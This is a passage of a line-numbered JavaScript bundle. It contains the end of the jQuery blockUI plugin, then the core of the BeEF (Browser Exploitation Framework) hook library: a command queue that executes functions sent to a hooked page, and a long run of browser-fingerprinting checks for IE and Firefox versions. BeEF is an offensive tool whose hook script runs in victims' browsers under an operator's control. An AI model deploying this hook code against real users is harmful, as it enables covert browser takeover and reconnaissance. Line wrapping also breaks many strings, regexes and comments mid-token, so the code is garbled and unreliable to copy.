4188 if ( this[0] === window ) {
4189 $.blockUI( opts );
4190 return this;
4191 }
4192 var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
4193 this.each(function() {
4194 var $el = $(this);
4195 if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
4196 return;
4197 $el.unblock({ fadeOut: 0 });
4198 });
4199
4200 return this.each(function() {
4201 if ($.css(this,'position') == 'static') {
4202 this.style.position = 'relative';
4203 $(this).data('blockUI.static', true);
4204 }
4205 this.style.zoom = 1; // force 'hasLayout' in ie
4206 install(this, opts);
4207 });
4208 };
4209
4210 // plugin method for unblocking element content
4211 $.fn.unblock = function(opts) {
4212 if ( this[0] === window ) {
4213 $.unblockUI( opts );
4214 return this;
4215 }
4216 return this.each(function() {
4217 remove(this, opts);
4218 });
4219 };
4220
4221 $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
4222
4223 // override these in your code to change the default behavior and style
4224 $.blockUI.defaults = {
4225 // message displayed when blocking (use null for no message)
4226 message: '<h1>Please wait...</h1>',
4227
4228 title: null, // title string; only used when theme == true
4229 draggable: true, // only used when theme == true (requires jquery-ui.js to
4230
4231be loaded)
4232
4233 theme: false, // set to true to use with jQuery UI themes
4234
4235 // styles for the message when blocking; if you wish to disable
4236 // these and use an external stylesheet then do this in your code:
4237 // $.blockUI.defaults.css = {};
4238 css: {
4239 padding: 0,
4240 margin: 0,
4241 width: '30%',
4242 top: '40%',
4243 left: '35%',
4244 textAlign: 'center',
4245 color: '#000',
4246 border: '3px solid #aaa',
4247 backgroundColor:'#fff',
4248 cursor: 'wait'
4249 },
4250
4251 // minimal style set used when themes are used
4252 themedCSS: {
4253 width: '30%',
4254 top: '40%',
4255 left: '35%'
4256 },
4257
4258 // styles for the overlay
4259 overlayCSS: {
4260 backgroundColor: '#000',
4261 opacity: 0.6,
4262 cursor: 'wait'
4263 },
4264
4265 // style to replace wait cursor before unblocking to correct issue
4266 // of lingering wait cursor
4267 cursorReset: 'default',
4268
4269 // styles applied when using $.growlUI
4270 growlCSS: {
4271 width: '350px',
4272 top: '10px',
4273 left: '',
4274 right: '10px',
4275 border: 'none',
4276 padding: '5px',
4277 opacity: 0.6,
4278 cursor: 'default',
4279 color: '#fff',
4280 backgroundColor: '#000',
4281 '-webkit-border-radius':'10px',
4282 '-moz-border-radius': '10px',
4283 'border-radius': '10px'
4284 },
4285
4286 // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
4287 // (hat tip to Jorge H. N. de Vasconcelos)
4288 /*jshint scripturl:true */
4289 iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' :
4290
4291'about:blank',
4292
4293 // force usage of iframe in non-IE browsers (handy for blocking applets)
4294 forceIframe: false,
4295
4296 // z-index for the blocking overlay
4297 baseZ: 1000,
4298
4299 // set these to true to have the message automatically centered
4300 centerX: true, // <-- only effects element blocking (page block controlled via css
4301
4302above)
4303 centerY: true,
4304
4305 // allow body element to be stetched in ie6; this makes blocking look better
4306 // on "short" pages. disable if you wish to prevent changes to the body height
4307 allowBodyStretch: true,
4308
4309 // enable if you want key and mouse events to be disabled for content that is
4310
4311blocked
4312 bindEvents: true,
4313
4314 // be default blockUI will supress tab navigation from leaving blocking content
4315 // (if bindEvents is true)
4316 constrainTabKey: true,
4317
4318 // fadeIn time in millis; set to 0 to disable fadeIn on block
4319 fadeIn: 200,
4320
4321 // fadeOut time in millis; set to 0 to disable fadeOut on unblock
4322 fadeOut: 400,
4323
4324 // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
4325 timeout: 0,
4326
4327 // disable if you don't want to show the overlay
4328 showOverlay: true,
4329
4330 // if true, focus will be placed in the first available input field when
4331 // page blocking
4332 focusInput: true,
4333
4334 // elements that can receive focus
4335 focusableElements: ':input:enabled:visible',
4336
4337 // suppresses the use of overlay styles on FF/Linux (due to performance issues
4338
4339with opacity)
4340 // no longer needed in 2012
4341 // applyPlatformOpacityRules: true,
4342
4343 // callback method invoked when fadeIn has completed and blocking message is
4344
4345visible
4346 onBlock: null,
4347
4348 // callback method invoked when unblocking has completed; the callback is
4349 // passed the element that has been unblocked (which is the window object for
4350
4351page
4352 // blocks) and the options that were passed to the unblock call:
4353 // onUnblock(element, options)
4354 onUnblock: null,
4355
4356 // callback method invoked when the overlay area is clicked.
4357 // setting this will turn the cursor to a pointer, otherwise cursor defined in
4358
4359overlayCss will be used.
4360 onOverlayClick: null,
4361
4362 // don't ask; if you really must know: http://groups.google.com/group/jquery-
4363
4364en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
4365 quirksmodeOffsetHack: 4,
4366
4367 // class name of the message block
4368 blockMsgClass: 'blockMsg',
4369
4370 // if it is already blocked, then ignore it (don't unblock and reblock)
4371 ignoreIfBlocked: false
4372 };
4373
4374 // private data and functions follow...
4375
4376 var pageBlock = null;
4377 var pageBlockEls = [];
4378
4379 function install(el, opts) {
4380 var css, themedCSS;
4381 var full = (el == window);
4382 var msg = (opts && opts.message !== undefined ? opts.message : undefined);
4383 opts = $.extend({}, $.blockUI.defaults, opts || {});
4384
4385 if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
4386 return;
4387
4388 opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS ||
4389
4390{});
4391 css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
4392 if (opts.onOverlayClick)
4393 opts.overlayCSS.cursor = 'pointer';
4394
4395 themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
4396 msg = msg === undefined ? opts.message : msg;
4397
4398 // remove the current block (if there is one)
4399 if (full && pageBlock)
4400 remove(window, {fadeOut:0});
4401
4402 // if an existing element is being used as the blocking content then we capture
4403 // its current place in the DOM (and current display style) so we can restore
4404 // it when we unblock
4405 if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
4406 var node = msg.jquery ? msg[0] : msg;
4407 var data = {};
4408 $(el).data('blockUI.history', data);
4409 data.el = node;
4410 data.parent = node.parentNode;
4411 data.display = node.style.display;
4412 data.position = node.style.position;
4413 if (data.parent)
4414 data.parent.removeChild(node);
4415 }
4416
4417 $(el).data('blockUI.onUnblock', opts.onUnblock);
4418 var z = opts.baseZ;
4419
4420 // blockUI uses 3 layers for blocking, for simplicity they are all used on every
4421
4422platform;
4423 // layer1 is the iframe layer which is used to supress bleed through of underlying
4424
4425content
4426 // layer2 is the overlay layer which has opacity and a wait cursor (by default)
4427 // layer3 is the message content that is displayed while blocking
4428 var lyr1, lyr2, lyr3, s;
4429 if (msie || opts.forceIframe)
4430 lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++)
4431
4432+';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0"
4433
4434src="'+opts.iframeSrc+'"></iframe>');
4435 else
4436 lyr1 = $('<div class="blockUI" style="display:none"></div>');
4437
4438 if (opts.theme)
4439 lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-
4440
4441index:'+ (z++) +';display:none"></div>');
4442 else
4443 lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++)
4444
4445+';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
4446
4447 if (opts.theme && full) {
4448 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog
4449
4450ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
4451 if ( opts.title ) {
4452 s += '<div class="ui-widget-header ui-dialog-titlebar ui-
4453
4454corner-all blockTitle">'+(opts.title || ' ')+'</div>';
4455 }
4456 s += '<div class="ui-widget-content ui-dialog-content"></div>';
4457 s += '</div>';
4458 }
4459 else if (opts.theme) {
4460 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-
4461
4462dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
4463 if ( opts.title ) {
4464 s += '<div class="ui-widget-header ui-dialog-titlebar ui-
4465
4466corner-all blockTitle">'+(opts.title || ' ')+'</div>';
4467 }
4468 s += '<div class="ui-widget-content ui-dialog-content"></div>';
4469 s += '</div>';
4470 }
4471 else if (full) {
4472 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-
4473
4474index:'+(z+10)+';display:none;position:fixed"></div>';
4475 }
4476 else {
4477 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement"
4478
4479style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
4480 }
4481 lyr3 = $(s);
4482
4483 // if we have a message, style it
4484 if (msg) {
4485 if (opts.theme) {
4486 lyr3.css(themedCSS);
4487 lyr3.addClass('ui-widget-content');
4488 }
4489 else
4490 lyr3.css(css);
4491 }
4492
4493 // style the overlay
4494 if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
4495 lyr2.css(opts.overlayCSS);
4496 lyr2.css('position', full ? 'fixed' : 'absolute');
4497
4498 // make iframe layer transparent in IE
4499 if (msie || opts.forceIframe)
4500 lyr1.css('opacity',0.0);
4501
4502 //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
4503 var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
4504 $.each(layers, function() {
4505 this.appendTo($par);
4506 });
4507
4508 if (opts.theme && opts.draggable && $.fn.draggable) {
4509 lyr3.draggable({
4510 handle: '.ui-dialog-titlebar',
4511 cancel: 'li'
4512 });
4513 }
4514
4515 // ie7 must use absolute positioning in quirks mode and to account for activex
4516
4517issues (when scrolling)
4518 var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null :
4519
4520el).length > 0);
4521 if (ie6 || expr) {
4522 // give body 100% height
4523 if (full && opts.allowBodyStretch && $.support.boxModel)
4524 $('html,body').css('height','100%');
4525
4526 // fix ie6 issue when blocked element has a border width
4527 if ((ie6 || !$.support.boxModel) && !full) {
4528 var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
4529 var fixT = t ? '(0 - '+t+')' : 0;
4530 var fixL = l ? '(0 - '+l+')' : 0;
4531 }
4532
4533 // simulate fixed position
4534 $.each(layers, function(i,o) {
4535 var s = o[0].style;
4536 s.position = 'absolute';
4537 if (i < 2) {
4538 if (full)
4539 s.setExpression('height','Math.max
4540
4541(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?
4542
45430:'+opts.quirksmodeOffsetHack+') + "px"');
4544 else
4545 s.setExpression
4546
4547('height','this.parentNode.offsetHeight + "px"');
4548 if (full)
4549 s.setExpression
4550
4551('width','jQuery.support.boxModel && document.documentElement.clientWidth ||
4552
4553document.body.clientWidth + "px"');
4554 else
4555 s.setExpression
4556
4557('width','this.parentNode.offsetWidth + "px"');
4558 if (fixL) s.setExpression('left', fixL);
4559 if (fixT) s.setExpression('top', fixT);
4560 }
4561 else if (opts.centerY) {
4562 if (full) s.setExpression
4563
4564('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) +
4565
4566(blah = document.documentElement.scrollTop ? document.documentElement.scrollTop :
4567
4568document.body.scrollTop) + "px"');
4569 s.marginTop = 0;
4570 }
4571 else if (!opts.centerY && full) {
4572 var top = (opts.css && opts.css.top) ? parseInt
4573
4574(opts.css.top, 10) : 0;
4575 var expression =
4576
4577'((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) +
4578
4579'+top+') + "px"';
4580 s.setExpression('top',expression);
4581 }
4582 });
4583 }
4584
4585 // show the message
4586 if (msg) {
4587 if (opts.theme)
4588 lyr3.find('.ui-widget-content').append(msg);
4589 else
4590 lyr3.append(msg);
4591 if (msg.jquery || msg.nodeType)
4592 $(msg).show();
4593 }
4594
4595 if ((msie || opts.forceIframe) && opts.showOverlay)
4596 lyr1.show(); // opacity is zero
4597 if (opts.fadeIn) {
4598 var cb = opts.onBlock ? opts.onBlock : noOp;
4599 var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
4600 var cb2 = msg ? cb : noOp;
4601 if (opts.showOverlay)
4602 lyr2._fadeIn(opts.fadeIn, cb1);
4603 if (msg)
4604 lyr3._fadeIn(opts.fadeIn, cb2);
4605 }
4606 else {
4607 if (opts.showOverlay)
4608 lyr2.show();
4609 if (msg)
4610 lyr3.show();
4611 if (opts.onBlock)
4612 opts.onBlock.bind(lyr3)();
4613 }
4614
4615 // bind key and mouse events
4616 bind(1, el, opts);
4617
4618 if (full) {
4619 pageBlock = lyr3[0];
4620 pageBlockEls = $(opts.focusableElements,pageBlock);
4621 if (opts.focusInput)
4622 setTimeout(focus, 20);
4623 }
4624 else
4625 center(lyr3[0], opts.centerX, opts.centerY);
4626
4627 if (opts.timeout) {
4628 // auto-unblock
4629 var to = setTimeout(function() {
4630 if (full)
4631 $.unblockUI(opts);
4632 else
4633 $(el).unblock(opts);
4634 }, opts.timeout);
4635 $(el).data('blockUI.timeout', to);
4636 }
4637 }
4638
4639 // remove the block
4640 function remove(el, opts) {
4641 var count;
4642 var full = (el == window);
4643 var $el = $(el);
4644 var data = $el.data('blockUI.history');
4645 var to = $el.data('blockUI.timeout');
4646 if (to) {
4647 clearTimeout(to);
4648 $el.removeData('blockUI.timeout');
4649 }
4650 opts = $.extend({}, $.blockUI.defaults, opts || {});
4651 bind(0, el, opts); // unbind events
4652
4653 if (opts.onUnblock === null) {
4654 opts.onUnblock = $el.data('blockUI.onUnblock');
4655 $el.removeData('blockUI.onUnblock');
4656 }
4657
4658 var els;
4659 if (full) // crazy selector to handle odd field errors in ie6/7
4660 els = $('body').children().filter('.blockUI').add('body > .blockUI');
4661 else
4662 els = $el.find('>.blockUI');
4663
4664 // fix cursor issue
4665 if ( opts.cursorReset ) {
4666 if ( els.length > 1 )
4667 els[1].style.cursor = opts.cursorReset;
4668 if ( els.length > 2 )
4669 els[2].style.cursor = opts.cursorReset;
4670 }
4671
4672 if (full)
4673 pageBlock = pageBlockEls = null;
4674
4675 if (opts.fadeOut) {
4676 count = els.length;
4677 els.stop().fadeOut(opts.fadeOut, function() {
4678 if ( --count === 0)
4679 reset(els,data,opts,el);
4680 });
4681 }
4682 else
4683 reset(els, data, opts, el);
4684 }
4685
4686 // move blocking element back into the DOM where it started
4687 function reset(els,data,opts,el) {
4688 var $el = $(el);
4689 if ( $el.data('blockUI.isBlocked') )
4690 return;
4691
4692 els.each(function(i,o) {
4693 // remove via DOM calls so we don't lose event handlers
4694 if (this.parentNode)
4695 this.parentNode.removeChild(this);
4696 });
4697
4698 if (data && data.el) {
4699 data.el.style.display = data.display;
4700 data.el.style.position = data.position;
4701 data.el.style.cursor = 'default'; // #59
4702 if (data.parent)
4703 data.parent.appendChild(data.el);
4704 $el.removeData('blockUI.history');
4705 }
4706
4707 if ($el.data('blockUI.static')) {
4708 $el.css('position', 'static'); // #22
4709 }
4710
4711 if (typeof opts.onUnblock == 'function')
4712 opts.onUnblock(el,opts);
4713
4714 // fix issue in Safari 6 where block artifacts remain until reflow
4715 var body = $(document.body), w = body.width(), cssW = body[0].style.width;
4716 body.width(w-1).width(w);
4717 body[0].style.width = cssW;
4718 }
4719
4720 // bind/unbind the handler
4721 function bind(b, el, opts) {
4722 var full = el == window, $el = $(el);
4723
4724 // don't bother unbinding if there is nothing to unbind
4725 if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
4726 return;
4727
4728 $el.data('blockUI.isBlocked', b);
4729
4730 // don't bind events when overlay is not in use or if bindEvents is false
4731 if (!full || !opts.bindEvents || (b && !opts.showOverlay))
4732 return;
4733
4734 // bind anchors and inputs for mouse and key events
4735 var events = 'mousedown mouseup keydown keypress keyup touchstart
4736
4737touchend touchmove';
4738 if (b)
4739 $(document).bind(events, opts, handler);
4740 else
4741 $(document).unbind(events, handler);
4742
4743 // former impl...
4744 // var $e = $('a,:input');
4745 // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
4746 }
4747
4748 // event handler to suppress keyboard/mouse events when blocking
4749 function handler(e) {
4750 // allow tab navigation (conditionally)
4751 if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
4752 if (pageBlock && e.data.constrainTabKey) {
4753 var els = pageBlockEls;
4754 var fwd = !e.shiftKey && e.target === els[els.length-1];
4755 var back = e.shiftKey && e.target === els[0];
4756 if (fwd || back) {
4757 setTimeout(function(){focus(back);},10);
4758 return false;
4759 }
4760 }
4761 }
4762 var opts = e.data;
4763 var target = $(e.target);
4764 if (target.hasClass('blockOverlay') && opts.onOverlayClick)
4765 opts.onOverlayClick(e);
4766
4767 // allow events within the message content
4768 if (target.parents('div.' + opts.blockMsgClass).length > 0)
4769 return true;
4770
4771 // allow events for content that is not being blocked
4772 return target.parents().children().filter('div.blockUI').length === 0;
4773 }
4774
4775 function focus(back) {
4776 if (!pageBlockEls)
4777 return;
4778 var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
4779 if (e)
4780 e.focus();
4781 }
4782
4783 function center(el, x, y) {
4784 var p = el.parentNode, s = el.style;
4785 var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
4786 var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
4787 if (x) s.left = l > 0 ? (l+'px') : '0';
4788 if (y) s.top = t > 0 ? (t+'px') : '0';
4789 }
4790
4791 function sz(el, p) {
4792 return parseInt($.css(el,p),10)||0;
4793 }
4794
4795 }
4796
4797
4798 /*global define:true */
4799 if (typeof define === 'function' && define.amd && define.amd.jQuery) {
4800 define(['jquery'], setup);
4801 } else {
4802 setup(jQuery);
4803 }
4804
4805})();
4806
4807
4808//
4809// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
4810// Browser Exploitation Framework (BeEF) - http://beefproject.com
4811// See the file 'doc/COPYING' for copying permission
4812//
4813
4814/*!
4815 * BeEF JS Library 0.4.6.1-alpha
4816 * Register the BeEF JS on the window object.
4817 */
4818
4819$j = jQuery.noConflict();
4820
4821if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
4822
4823 var BeefJS = {
4824
4825 version: '0.4.6.1-alpha',
4826
4827 // This get set to true during window.onload(). It's a useful hack when messing with
4828
4829document.write().
4830 pageIsLoaded: false,
4831
4832 // An array containing functions to be executed by the window.onpopstate() method.
4833 onpopstate: new Array(),
4834
4835 // An array containing functions to be executed by the window.onclose() method.
4836 onclose: new Array(),
4837
4838 // An array containing functions to be executed by Beef.
4839 commands: new Array(),
4840
4841 // An array containing all the BeEF JS components.
4842 components: new Array(),
4843
4844 /**
4845 * Adds a function to display debug messages (wraps console.log())
4846 * @param: {string} the debug string to return
4847 */
4848 debug: function(msg) {
4849 if (!false) return;
4850 if (typeof console == "object" && typeof console.log == "function") {
4851 console.log(msg);
4852 } else {
4853 // TODO: maybe add a callback to BeEF server for debugging purposes
4854 //window.alert(msg);
4855 }
4856 },
4857
4858 /**
4859 * Adds a function to execute.
4860 * @param: {Function} the function to execute.
4861 */
4862 execute: function(fn) {
4863 if ( typeof beef.websocket == "undefined"){
4864 this.commands.push(fn);
4865 }else{
4866 fn();
4867 }
4868 },
4869
4870
4871
4872 /**
4873 * Registers a component in BeEF JS.
4874 * @params: {String} the component.
4875 *
4876 * Components are very important to register so the framework does not
4877 * send them back over and over again.
4878 */
4879 regCmp: function(component) {
4880 this.components.push(component);
4881 }
4882
4883 };
4884
4885 window.beef = BeefJS;
4886}
4887
4888
4889//
4890// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
4891// Browser Exploitation Framework (BeEF) - http://beefproject.com
4892// See the file 'doc/COPYING' for copying permission
4893//
4894
4895/**
4896 * @literal object: beef.browser
4897 *
4898 * Basic browser functions.
4899 */
4900beef.browser = {
4901
4902 /**
4903 * Returns the user agent that the browser is claiming to be.
4904 * @example: beef.browser.getBrowserReportedName()
4905 */
4906 getBrowserReportedName: function () {
4907 return navigator.userAgent;
4908 },
4909
4910 /**
4911 * Returns true if Avant Browser.
4912 * @example: beef.browser.isA()
4913 */
4914 isA: function () {
4915 return window.navigator.userAgent.match(/Avant TriCore/) != null;
4916 },
4917
4918 /**
4919 * Returns true if Iceweasel.
4920 * @example: beef.browser.isI()
4921 */
4922 isI: function () {
4923 return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
4924 },
4925
4926 /**
4927 * Returns true if IE6.
4928 * @example: beef.browser.isIE6()
4929 */
4930 isIE6: function () {
4931 return !window.XMLHttpRequest && !window.globalStorage;
4932 },
4933
4934 /**
4935 * Returns true if IE7.
4936 * @example: beef.browser.isIE7()
4937 */
4938 isIE7: function () {
4939 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle
4940
4941&& !window.globalStorage && !document.documentMode;
4942 },
4943
4944 /**
4945 * Returns true if IE8.
4946 * @example: beef.browser.isIE8()
4947 */
4948 isIE8: function () {
4949 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
4950
4951&& !!window.XDomainRequest && !window.performance;
4952 },
4953
4954 /**
4955 * Returns true if IE9.
4956 * @example: beef.browser.isIE9()
4957 */
4958 isIE9: function () {
4959 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
4960
4961&& !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints ===
4962
4963"undefined";
4964 },
4965
4966 /**
4967 *
4968 * Returns true if IE10.
4969 * @example: beef.browser.isIE10()
4970 */
4971 isIE10: function () {
4972 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
4973
4974&& !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !==
4975
4976"undefined";
4977 },
4978
4979 /**
4980 *
4981 * Returns true if IE11.
4982 * @example: beef.browser.isIE11()
4983 */
4984 isIE11: function () {
4985 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
4986
4987&& !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof
4988
4989document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof
4990
4991window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
4992 },
4993
4994 /**
4995 * Returns true if IE.
4996 * @example: beef.browser.isIE()
4997 */
4998 isIE: function () {
4999 return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
5000 },
5001
5002 /**
5003 * Returns true if FF2.
5004 * @example: beef.browser.isFF2()
5005 */
5006 isFF2: function () {
5007 return !!window.globalStorage && !window.postMessage;
5008 },
5009
5010 /**
5011 * Returns true if FF3.
5012 * @example: beef.browser.isFF3()
5013 */
5014 isFF3: function () {
5015 return !!window.globalStorage && !!window.postMessage && !JSON.parse;
5016 },
5017
5018 /**
5019 * Returns true if FF3.5.
5020 * @example: beef.browser.isFF3_5()
5021 */
5022 isFF3_5: function () {
5023 return !!window.globalStorage && !!JSON.parse && !window.FileReader;
5024 },
5025
5026 /**
5027 * Returns true if FF3.6.
5028 * @example: beef.browser.isFF3_6()
5029 */
5030 isFF3_6: function () {
5031 return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !
5032
5033window.history.replaceState;
5034 },
5035
5036 /**
5037 * Returns true if FF4.
5038 * @example: beef.browser.isFF4()
5039 */
5040 isFF4: function () {
5041 return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match
5042
5043(/Firefox\/4\./) != null;
5044 },
5045
5046 /**
5047 * Returns true if FF5.
5048 * @example: beef.browser.isFF5()
5049 */
5050 isFF5: function () {
5051 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
5052 },
5053
5054 /**
5055 * Returns true if FF6.
5056 * @example: beef.browser.isFF6()
5057 */
5058 isFF6: function () {
5059 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
5060 },
5061
5062 /**
5063 * Returns true if FF7.
5064 * @example: beef.browser.isFF7()
5065 */
5066 isFF7: function () {
5067 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
5068 },
5069
5070 /**
5071 * Returns true if FF8.
5072 * @example: beef.browser.isFF8()
5073 */
5074 isFF8: function () {
5075 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
5076 },
5077
5078 /**
5079 * Returns true if FF9.
5080 * @example: beef.browser.isFF9()
5081 */
5082 isFF9: function () {
5083 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
5084 },
5085
5086 /**
5087 * Returns true if FF10.
5088 * @example: beef.browser.isFF10()
5089 */
5090 isFF10: function () {
5091 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
5092 },
5093
5094 /**
5095 * Returns true if FF11.
5096 * @example: beef.browser.isFF11()
5097 */
5098 isFF11: function () {
5099 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
5100 },
5101
5102 /**
5103 * Returns true if FF12
5104 * @example: beef.browser.isFF12()
5105 */
5106 isFF12: function () {
5107 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
5108 },
5109
5110 /**
5111 * Returns true if FF13
5112 * @example: beef.browser.isFF13()
5113 */
5114 isFF13: function () {
5115 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
5116 },
5117
5118 /**
5119 * Returns true if FF14
5120 * @example: beef.browser.isFF14()
5121 */
5122 isFF14: function () {
5123 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
5124 },
5125
5126 /**
5127 * Returns true if FF15
5128 * @example: beef.browser.isFF15()
5129 */
5130 isFF15: function () {
5131 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
5132 },
5133
5134 /**
5135 * Returns true if FF16
5136 * @example: beef.browser.isFF16()
5137 */
5138 isFF16: function () {
5139 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
5140 },
5141
5142 /**
5143 * Returns true if FF17
5144 * @example: beef.browser.isFF17()
5145 */
5146 isFF17: function () {
5147 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
5148 },
5149
5150 /**
5151 * Returns true if FF18
5152 * @example: beef.browser.isFF18()
5153 */
5154 isFF18: function () {
5155 return !!window.devicePixelRatio && !!window.history.replaceState &&
5156
5157window.navigator.userAgent.match(/Firefox\/18\./) != null;
5158 },
5159
5160 /**
5161 * Returns true if FF19
5162 * @example: beef.browser.isFF19()
5163 */
5164 isFF19: function () {
5165 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5166
5167navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
5168 },
5169
5170 /**
5171 * Returns true if FF20
5172 * @example: beef.browser.isFF20()
5173 */
5174 isFF20: function () {
5175 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5176
5177navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
5178 },
5179
5180 /**
5181 * Returns true if FF21
5182 * @example: beef.browser.isFF21()
5183 */
5184 isFF21: function () {
5185 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5186
5187navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5188
5189window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) !=
5190
5191null;
5192 },
5193
5194 /**
5195 * Returns true if FF22
5196 * @example: beef.browser.isFF22()
5197 */
5198 isFF22: function () {
5199 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5200
5201navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5202
5203window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) !=
5204
5205null;
5206 },
5207
5208 /**
5209 * Returns true if FF23
5210 * @example: beef.browser.isFF23()
5211 */
5212 isFF23: function () {
5213 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5214
5215navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5216
5217window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) !=
5218
5219null;
5220 },
5221
5222 /**
5223 * Returns true if FF24
5224 * @example: beef.browser.isFF24()
5225 */
5226 isFF24: function () {
5227 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5228
5229navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5230
5231window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) !=
5232
5233null;
5234 },
5235
5236 /**
5237 * Returns true if FF25
5238 * @example: beef.browser.isFF25()
5239 */
5240 isFF25: function () {
5241 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5242
5243navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5244
5245window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) !=
5246
5247null;
5248 },
5249
5250 /**
5251 * Returns true if FF26
5252 * @example: beef.browser.isFF26()
5253 */
5254 isFF26: function () {
5255 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5256
5257navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5258
5259window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) !=
5260
5261null;
5262 },
5263
5264 /**
5265 * Returns true if FF27
5266 * @example: beef.browser.isFF27()
5267 */
5268 isFF27: function () {
5269 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5270
5271navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5272
5273window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' &&
5274
5275window.navigator.userAgent.match(/Firefox\/27./) != null;
